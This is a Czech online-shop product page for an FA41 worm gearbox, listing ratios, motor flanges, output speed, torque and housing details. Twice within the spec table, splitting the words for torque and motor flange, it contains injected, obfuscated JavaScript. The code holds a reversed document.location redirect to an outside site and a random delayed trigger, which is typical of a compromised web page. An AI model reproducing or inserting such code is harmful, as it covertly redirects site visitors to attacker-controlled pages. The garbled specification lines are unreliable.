Další informace
Převodový poměr | 1:7 |
---|---|
Vstupní motorová příruba | B14/56 |
Velikost převodové skříně | 030, 040, 050 |
komponenty pro pohonnou techniku - tel. 608 035 402
Typ: | FA41 |
Výstupní otáčky: | 178 – 481 min-1 (n1 = 1400 min-1) |
Výstupní tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}točivý moment: | 225 Nm |
Převodový poměr: | 2,91 – 7,85 : 1 |
Materiál skříně: | hliník |
Výstupní dutá hřídel: | Ø30 mm*, Ø35 mm |
Mazání: | syntetický olej |
Velikost motobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torové příruby IEC: | 80B14 / 90B14 / 100B14 / 112B14 / 80B5 / 90B5 / 100B5 / 112B5 |
Dokumentace:
Převodový poměr | 1:7 |
---|---|
Vstupní motorová příruba | B14/56 |
Velikost převodové skříně | 030, 040, 050 |
Recenze
Zatím zde nejsou žádné recenze.